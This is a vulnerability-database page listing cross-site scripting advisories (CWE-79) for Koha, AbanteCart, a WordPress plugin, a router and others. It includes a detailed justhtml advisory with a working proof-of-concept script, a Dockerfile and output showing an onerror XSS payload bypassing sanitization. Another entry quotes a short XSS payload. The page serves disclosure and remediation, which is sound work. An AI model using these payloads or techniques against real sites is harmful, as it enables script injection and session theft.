CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68742 vulnerabilities reference this CWE, most recent first.
GHSA-JF6C-M3Q5-VFM4
Vulnerability from github – Published: 2026-03-05 18:31 – Updated: 2026-03-06 21:30Cross Site Scripting vulnerability in Koha 25.11 and before allows a remote attacker to execute arbitrary code via the News function.
{
"affected": [],
"aliases": [
"CVE-2026-26377"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-05T16:16:16Z",
"severity": "MODERATE"
},
"details": "Cross Site Scripting vulnerability in Koha 25.11 and before allows a remote attacker to execute arbitrary code via the News function.",
"id": "GHSA-jf6c-m3q5-vfm4",
"modified": "2026-03-06T21:30:37Z",
"published": "2026-03-05T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26377"
},
{
"type": "WEB",
"url": "https://g03m0n.github.io"
},
{
"type": "WEB",
"url": "https://g03m0n.github.io/posts/cve-2026-26377"
},
{
"type": "WEB",
"url": "https://github.com/Koha-Community/Koha"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JF6R-X3PR-JQ8X
Vulnerability from github – Published: 2024-06-18 18:31 – Updated: 2024-07-15 18:31Multiple stored cross-site scripting (XSS) vulnerabilities in CodeProjects Health Care hospital Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the fname and lname parameters under the Staff Info page.
{
"affected": [],
"aliases": [
"CVE-2024-37803"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-18T17:15:52Z",
"severity": "MODERATE"
},
"details": "Multiple stored cross-site scripting (XSS) vulnerabilities in CodeProjects Health Care hospital Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the fname and lname parameters under the Staff Info page.",
"id": "GHSA-jf6r-x3pr-jq8x",
"modified": "2024-07-15T18:31:15Z",
"published": "2024-06-18T18:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37803"
},
{
"type": "WEB",
"url": "https://code-projects.org/health-care-hospital-in-php-css-js-and-mysql-free-download"
},
{
"type": "WEB",
"url": "https://github.com/himanshubindra/CVEs/blob/main/CVE-2024-37803"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JF6W-2MVX-633J
Vulnerability from github – Published: 2026-06-25 17:35 – Updated: 2026-06-25 17:35justhtml: to_markdown() code-span blank-line breakout enables XSS
Summary
In justhtml 0.9.0 through 1.21.0, to_markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (\n\n) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).
Details
to_markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to_markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."
The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:
src/justhtml/node.py:32-41 (tag v1.21.0):
def _markdown_code_span(s: str | None) -> str:
if s is None:
s = ""
# Use a backtick fence longer than any run of backticks inside.
fence = _markdown_backtick_fence(s, minimum=1)
# CommonMark requires a space if the content starts/ends with backticks.
needs_space = s.startswith("`") or s.endswith("`")
if needs_space:
return f"{fence} {s} {fence}"
return f"{fence}{s}{fence}"
The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:
src/justhtml/node.py:1061-1078 (tag v1.21.0):
if tag == "pre":
code = current.to_text(separator="", strip=False)
if current_in_link:
current_builder.raw(_markdown_code_span(code)) # inline path
else:
fence = _markdown_backtick_fence(code, minimum=3) # block path
...
if tag == "code" and not current_preserve:
current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False)))
A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.
Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT_POLICY.allowed_tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so <img …> enters the DOM as literal <img …> text while passing HTML sanitization.
Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:
- Plain text-node content is HTML-escaped before Markdown escaping, so the same
<img …>outside a code span is neutralized to<img …>. Inside a code span it is not escaped — the fence is assumed sufficient. <pre>outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same<pre>inside a link (line 1064) and all<code>use the inline span, which a blank line breaks.
PoC
Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.
Dockerfile:
FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \
&& (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]
poc.py:
#!/usr/bin/env python3
"""PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from __future__ import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown_it import MarkdownIt
MARKER = "__POC_XSS_MARKER__"
PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark") # raw-HTML passthrough is the CommonMark default
def build_inputs() -> tuple[str, str]:
enc = PAYLOAD_TEXT.replace("<", "<").replace(">", ">")
control = f"<code>q{enc}</code>" # no blank line -> should stay inert
exploit = f"<code>q\n\n{enc}</code>" # + one blank line -> the whole exploit
return control, exploit
def to_markdown(html: str) -> str:
return JustHTML(html, fragment=True).to_markdown() # public API, default sanitize=True
class _SinkFinder(HTMLParser):
def __init__(self) -> None:
super().__init__(); self.sinks: list[tuple[str, str, str]] = []
def handle_starttag(self, tag, attrs):
for name, val in attrs:
if name.startswith("on") and val and MARKER in val:
self.sinks.append((tag, name, val))
def live_sinks(html: str):
f = _SinkFinder(); f.feed(html); return f.sinks
def show(label: str, html: str):
md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)
print(f"== {label} ==")
print(f" 1. input HTML : {html!r}")
print(f" 2. to_markdown() out : {md!r}")
print(f" 3. CommonMark render : {rendered.strip()!r}")
print(f" 4. live JS sinks : {sinks if sinks else 'NONE (inert)'}\n")
return rendered, sinks
def prove_exec(rendered: str) -> None:
print("== --prove-exec (supplementary, container-only) ==")
sinks = live_sinks(rendered)
if not sinks:
print(" no sink to execute"); return
handler_js = sinks[0][2]
print(f" materialized handler JS: {handler_js!r}")
try:
import dukpy
except Exception:
print(" [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;")
print(f" JS engine result: {result!r} -> attacker JS executed" if result else " JS did not fire")
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--prove-exec", action="store_true")
args = ap.parse_args()
control, exploit = build_inputs()
print("Delta between control and exploit: exactly one blank line (\\n\\n).\n")
_, c_sinks = show("CONTROL (payload in <code>, NO blank line)", control)
ex_rendered, e_sinks = show("EXPLOIT (payload in <code>, + blank line)", exploit)
ok = (not c_sinks) and bool(e_sinks)
print("== VERDICT ==")
print(" BYPASS CONFIRMED." if ok else " not reproduced")
if ok:
print(f" Sanitized code text became a LIVE element: {e_sinks[0]}")
print()
if ok and args.prove_exec:
prove_exec(ex_rendered)
return 0 if ok else 1
if __name__ == "__main__":
raise SystemExit(main())
Build and run:
docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc
Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):
=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0
Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.
== CONTROL (payload in <code>, NO blank line) ==
1. input HTML : '<code>q<img src=x onerror=__POC_XSS_MARKER__()></code>'
2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
3. CommonMark render : '<p><code>q<img src=x onerror=__POC_XSS_MARKER__()></code></p>'
4. live JS sinks : NONE (inert)
== EXPLOIT (payload in <code>, + blank line) ==
1. input HTML : '<code>q\n\n<img src=x onerror=__POC_XSS_MARKER__()></code>'
2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
4. live JS sinks : [('img', 'onerror', '__POC_XSS_MARKER__()')]
== VERDICT ==
BYPASS CONFIRMED.
The blank line terminated the inline code span; sanitized code
text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
The control (no blank line) stayed inert inside <code>.
The exploit is byte-identical to the inert control plus a single blank line
(\n\n). Deterministic: same input → same result.
Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec)
— supplementary; the parse proof above is canonical. Inert marker only:
== --prove-exec (supplementary, container-only) ==
materialized handler JS: '__POC_XSS_MARKER__()'
JS engine result: 'XSS-EXECUTED' -> attacker JS executed
Impact
This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).
An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.
Severity: CVSS 3.1 6.1 (Moderate),
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.
Recommended fix
Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.
Resources
- CWE-79 — https://cwe.mitre.org/data/definitions/79.html
- CWE-116 — https://cwe.mitre.org/data/definitions/116.html
- Affected source (tag
v1.21.0):src/justhtml/node.py:32-41(_markdown_code_span),src/justhtml/node.py:1061-1078(<pre>/<code>dispatch). - CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
- Novelty: same vulnerability class as two prior, already-fixed
to_markdown()advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for<pre>code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged atv1.21.0, andorigin/main == v1.21.0(no embargoed fix).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.21.0"
},
"package": {
"ecosystem": "PyPI",
"name": "justhtml"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"fixed": "1.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T17:35:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# justhtml: to_markdown() code-span blank-line breakout enables XSS\n\n### Summary\n\nIn `justhtml` 0.9.0 through 1.21.0, `to_markdown()` renders `\u003ccode\u003e` text (and `\u003cpre\u003e` text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (`\\n\\n`) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted **unescaped** after the blank line and is re-parsed as live raw HTML/Markdown \u2014 yielding XSS in the default configuration. Likely **CWE-79 (Cross-site Scripting)** arising from **CWE-116 (Improper Encoding/Escaping of Output)**.\n\n### Details\n\n`to_markdown()` is documented as a safety surface. `docs/text.md` states the guarantee applies \"to the HTML produced by rendering that Markdown with a compliant Markdown renderer,\" and `SECURITY.md` promises `to_markdown()` \"escapes line-start Markdown markers that could change block structure\" and \"uses code fences long enough to contain backticks safely.\"\n\nThe inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:\n\n`src/justhtml/node.py:32-41` (tag `v1.21.0`):\n\n```python\ndef _markdown_code_span(s: str | None) -\u003e str:\n if s is None:\n s = \"\"\n # Use a backtick fence longer than any run of backticks inside.\n fence = _markdown_backtick_fence(s, minimum=1)\n # CommonMark requires a space if the content starts/ends with backticks.\n needs_space = s.startswith(\"`\") or s.endswith(\"`\")\n if needs_space:\n return f\"{fence} {s} {fence}\"\n return f\"{fence}{s}{fence}\"\n```\n\nThe element\u0027s text is taken verbatim (`strip=False`, so embedded newlines are preserved) and routed into that helper:\n\n`src/justhtml/node.py:1061-1078` (tag `v1.21.0`):\n\n```python\n if tag == \"pre\":\n code = current.to_text(separator=\"\", strip=False)\n if current_in_link:\n current_builder.raw(_markdown_code_span(code)) # inline path\n else:\n fence = _markdown_backtick_fence(code, minimum=3) # block path\n ...\n if tag == \"code\" and not current_preserve:\n current_builder.raw(_markdown_code_span(current.to_text(separator=\"\", strip=False)))\n```\n\nA Markdown **inline code span is an inline construct and cannot span a block boundary**: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown \u2014 independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as `\u003cimg src=x onerror=...\u003e` becomes a live element.\n\nReachability with default settings: `JustHTML(html)` sanitizes by default; `\u003ccode\u003e` and `\u003cpre\u003e` are in `DEFAULT_POLICY.allowed_tags`; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in **text**, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so `\u0026lt;img \u2026\u0026gt;` enters the DOM as literal `\u003cimg \u2026\u003e` text while passing HTML sanitization.\n\nTwo in-repo asymmetries confirm this is an unguarded path rather than intended behavior:\n\n- **Plain text-node content is HTML-escaped** before Markdown escaping, so the same `\u0026lt;img \u2026\u0026gt;` outside a code span is neutralized to `\u0026lt;img \u2026\u003e`. Inside a code span it is not escaped \u2014 the fence is assumed sufficient.\n- **`\u003cpre\u003e` outside a link uses a block fence** (`minimum=3`, line 1066), which a blank line cannot break. The same `\u003cpre\u003e` **inside a link** (line 1064) and all `\u003ccode\u003e` use the inline span, which a blank line breaks.\n\n### PoC\n\nSelf-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is **parsed** to show a live handler-bearing element materializes; no JavaScript is executed on the default path.\n\n`Dockerfile`:\n\n```dockerfile\nFROM python:3.11-slim\nWORKDIR /poc\nRUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \\\n \u0026\u0026 (pip install --no-cache-dir dukpy==0.5.0 || echo \"dukpy optional: skipped\")\nCOPY poc.py test.sh /poc/\nCMD [\"sh\", \"/poc/test.sh\"]\n```\n\n`poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: justhtml to_markdown() inline code-span blank-line breakout -\u003e XSS.\nAudited release: justhtml==1.21.0. Static by default (parses the rendered HTML;\nno JS executed). --prove-exec is an opt-in, container-only execution check.\"\"\"\nfrom __future__ import annotations\nimport argparse\nfrom html.parser import HTMLParser\nfrom justhtml import JustHTML\nfrom markdown_it import MarkdownIt\n\nMARKER = \"__POC_XSS_MARKER__\"\nPAYLOAD_TEXT = f\"\u003cimg src=x onerror={MARKER}()\u003e\"\nRENDER = MarkdownIt(\"commonmark\") # raw-HTML passthrough is the CommonMark default\n\n\ndef build_inputs() -\u003e tuple[str, str]:\n enc = PAYLOAD_TEXT.replace(\"\u003c\", \"\u0026lt;\").replace(\"\u003e\", \"\u0026gt;\")\n control = f\"\u003ccode\u003eq{enc}\u003c/code\u003e\" # no blank line -\u003e should stay inert\n exploit = f\"\u003ccode\u003eq\\n\\n{enc}\u003c/code\u003e\" # + one blank line -\u003e the whole exploit\n return control, exploit\n\n\ndef to_markdown(html: str) -\u003e str:\n return JustHTML(html, fragment=True).to_markdown() # public API, default sanitize=True\n\n\nclass _SinkFinder(HTMLParser):\n def __init__(self) -\u003e None:\n super().__init__(); self.sinks: list[tuple[str, str, str]] = []\n def handle_starttag(self, tag, attrs):\n for name, val in attrs:\n if name.startswith(\"on\") and val and MARKER in val:\n self.sinks.append((tag, name, val))\n\n\ndef live_sinks(html: str):\n f = _SinkFinder(); f.feed(html); return f.sinks\n\n\ndef show(label: str, html: str):\n md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)\n print(f\"== {label} ==\")\n print(f\" 1. input HTML : {html!r}\")\n print(f\" 2. to_markdown() out : {md!r}\")\n print(f\" 3. CommonMark render : {rendered.strip()!r}\")\n print(f\" 4. live JS sinks : {sinks if sinks else \u0027NONE (inert)\u0027}\\n\")\n return rendered, sinks\n\n\ndef prove_exec(rendered: str) -\u003e None:\n print(\"== --prove-exec (supplementary, container-only) ==\")\n sinks = live_sinks(rendered)\n if not sinks:\n print(\" no sink to execute\"); return\n handler_js = sinks[0][2]\n print(f\" materialized handler JS: {handler_js!r}\")\n try:\n import dukpy\n except Exception:\n print(\" [skipped] optional \u0027dukpy\u0027 not installed; parse proof is canonical.\"); return\n result = dukpy.evaljs(f\"var fired=\u0027\u0027; function {MARKER}(){{ fired=\u0027XSS-EXECUTED\u0027; }} {handler_js}; fired;\")\n print(f\" JS engine result: {result!r} -\u003e attacker JS executed\" if result else \" JS did not fire\")\n\n\ndef main() -\u003e int:\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--prove-exec\", action=\"store_true\")\n args = ap.parse_args()\n control, exploit = build_inputs()\n print(\"Delta between control and exploit: exactly one blank line (\\\\n\\\\n).\\n\")\n _, c_sinks = show(\"CONTROL (payload in \u003ccode\u003e, NO blank line)\", control)\n ex_rendered, e_sinks = show(\"EXPLOIT (payload in \u003ccode\u003e, + blank line)\", exploit)\n ok = (not c_sinks) and bool(e_sinks)\n print(\"== VERDICT ==\")\n print(\" BYPASS CONFIRMED.\" if ok else \" not reproduced\")\n if ok:\n print(f\" Sanitized code text became a LIVE element: {e_sinks[0]}\")\n print()\n if ok and args.prove_exec:\n prove_exec(ex_rendered)\n return 0 if ok else 1\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\nBuild and run:\n\n```bash\ndocker build -t justhtml-md-poc ./poc\ndocker run --rm justhtml-md-poc\n```\n\nObserved output (`justhtml 1.21.0`, `markdown-it-py 4.2.0`):\n\n```\n=== Versions under test ===\nName: justhtml\nVersion: 1.21.0\nName: markdown-it-py\nVersion: 4.2.0\n\nDelta between control and exploit: exactly one blank line (\\n\\n)\ninserted into otherwise identical \u003ccode\u003e text.\n\n== CONTROL (payload in \u003ccode\u003e, NO blank line) ==\n 1. input HTML : \u0027\u003ccode\u003eq\u0026lt;img src=x onerror=__POC_XSS_MARKER__()\u0026gt;\u003c/code\u003e\u0027\n 2. to_markdown() out : \u0027`q\u003cimg src=x onerror=__POC_XSS_MARKER__()\u003e`\u0027\n 3. CommonMark render : \u0027\u003cp\u003e\u003ccode\u003eq\u0026lt;img src=x onerror=__POC_XSS_MARKER__()\u0026gt;\u003c/code\u003e\u003c/p\u003e\u0027\n 4. live JS sinks : NONE (inert)\n\n== EXPLOIT (payload in \u003ccode\u003e, + blank line) ==\n 1. input HTML : \u0027\u003ccode\u003eq\\n\\n\u0026lt;img src=x onerror=__POC_XSS_MARKER__()\u0026gt;\u003c/code\u003e\u0027\n 2. to_markdown() out : \u0027`q\\n\\n\u003cimg src=x onerror=__POC_XSS_MARKER__()\u003e`\u0027\n 3. CommonMark render : \u0027\u003cp\u003e`q\u003c/p\u003e\\n\u003cp\u003e\u003cimg src=x onerror=__POC_XSS_MARKER__()\u003e`\u003c/p\u003e\u0027\n 4. live JS sinks : [(\u0027img\u0027, \u0027onerror\u0027, \u0027__POC_XSS_MARKER__()\u0027)]\n\n== VERDICT ==\n BYPASS CONFIRMED.\n The blank line terminated the inline code span; sanitized code\n text became a LIVE handler-bearing element: (\u0027img\u0027, \u0027onerror\u0027, \u0027__POC_XSS_MARKER__()\u0027)\n The control (no blank line) stayed inert inside \u003ccode\u003e.\n```\n\nThe exploit is byte-identical to the inert control plus a single blank line\n(`\\n\\n`). Deterministic: same input \u2192 same result.\n\nOptional execution confirmation (`docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec`)\n\u2014 supplementary; the parse proof above is canonical. Inert marker only:\n\n```\n== --prove-exec (supplementary, container-only) ==\n materialized handler JS: \u0027__POC_XSS_MARKER__()\u0027\n JS engine result: \u0027XSS-EXECUTED\u0027 -\u003e attacker JS executed\n```\n\n### Impact\n\nThis is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with `JustHTML(...)` under default settings, call `to_markdown()`, and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).\n\nAn attacker only needs to control HTML text inside a `\u003ccode\u003e` element, or a `\u003cpre\u003e` element within a link \u2014 no custom policy and no `sanitize=False`. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.\n\nSeverity: CVSS 3.1 **6.1 (Moderate)**,\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.\n\n### Recommended fix\n\nDo not represent text containing a block boundary as an inline code span. In `_markdown_code_span` / the `\u003ccode\u003e` and in-link `\u003cpre\u003e` dispatch (`src/justhtml/node.py:1061-1078`), if the content contains a blank line (or any `\\n`), emit it as a fenced code **block** \u2014 reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines \u2014 or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.\n\n### Resources\n\n- CWE-79 \u2014 https://cwe.mitre.org/data/definitions/79.html\n- CWE-116 \u2014 https://cwe.mitre.org/data/definitions/116.html\n- Affected source (tag `v1.21.0`): `src/justhtml/node.py:32-41` (`_markdown_code_span`), `src/justhtml/node.py:1061-1078` (`\u003cpre\u003e`/`\u003ccode\u003e` dispatch).\n- CommonMark spec \u2014 code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans\n- Novelty: same vulnerability class as two prior, already-fixed `to_markdown()` advisories but a **distinct, still-unfixed variant**. The earlier fixes address\n (a) HTML-escaping of plain text nodes and (b) backtick-fence **length** for `\u003cpre\u003e` code **blocks**. Neither addresses a **blank-line** break of an **inline** code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at `v1.21.0`, and `origin/main == v1.21.0` (no embargoed fix).",
"id": "GHSA-jf6w-2mvx-633j",
"modified": "2026-06-25T17:35:52Z",
"published": "2026-06-25T17:35:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-jf6w-2mvx-633j"
},
{
"type": "PACKAGE",
"url": "https://github.com/EmilStenstrom/justhtml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "justhtml: to_markdown() code-span blank-line breakout enables XSS"
}
GHSA-JF6W-775M-7XX9
Vulnerability from github – Published: 2021-12-15 00:01 – Updated: 2021-12-16 00:02An issue was discovered in AbanteCart before 1.3.2. Any low-privileged user with file-upload permissions can upload a malicious SVG document that contains an XSS payload.
{
"affected": [],
"aliases": [
"CVE-2021-42051"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-14T15:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in AbanteCart before 1.3.2. Any low-privileged user with file-upload permissions can upload a malicious SVG document that contains an XSS payload.",
"id": "GHSA-jf6w-775m-7xx9",
"modified": "2021-12-16T00:02:25Z",
"published": "2021-12-15T00:01:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42051"
},
{
"type": "WEB",
"url": "https://github.com/abantecart/abantecart-src/releases"
},
{
"type": "WEB",
"url": "https://sec-consult.com/vulnerability-lab/advisory/multiple-vulnerabilities-in-abantecart-e-commerce-platform"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JF76-W4VP-R5JP
Vulnerability from github – Published: 2025-01-07 06:32 – Updated: 2025-01-07 06:32The Slider Pro Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sliderpro' shortcode in all versions up to, and including, 1.4.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-11899"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-07T04:15:07Z",
"severity": "MODERATE"
},
"details": "The Slider Pro Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s \u0027sliderpro\u0027 shortcode in all versions up to, and including, 1.4.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-jf76-w4vp-r5jp",
"modified": "2025-01-07T06:32:13Z",
"published": "2025-01-07T06:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11899"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/slider-pro-lite/tags/1.4.1/public/class-slider-renderer.php#L181"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/slider-pro-lite/tags/1.4.1/public/class-sliderpro.php#L310"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/slider-pro-lite/tags/1.4.1/public/class-sliderpro.php#L447"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/slider-pro-lite/tags/1.4.1/public/class-sliderpro.php#L98"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d10036de-940f-4772-9aca-13bc647548d2?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JF7W-2FXM-772F
Vulnerability from github – Published: 2025-03-11 12:31 – Updated: 2025-03-11 12:31A vulnerability, which was classified as problematic, has been found in Claro A7600-A1 RNR4-A72T-2x16_v2110403_CLA_32_160817. Affected by this issue is some unknown functionality of the file /form2pingv6.cgi of the component Ping6 Diagnóstico. The manipulation of the argument ip6addr with the input leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-2191"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-11T12:15:12Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, has been found in Claro A7600-A1 RNR4-A72T-2x16_v2110403_CLA_32_160817. Affected by this issue is some unknown functionality of the file /form2pingv6.cgi of the component Ping6 Diagn\u00f3stico. The manipulation of the argument ip6addr with the input \u003cimg/src/onerror=prompt(8)\u003e leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-jf7w-2fxm-772f",
"modified": "2025-03-11T12:31:00Z",
"published": "2025-03-11T12:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2191"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.299216"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.299216"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.511700"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
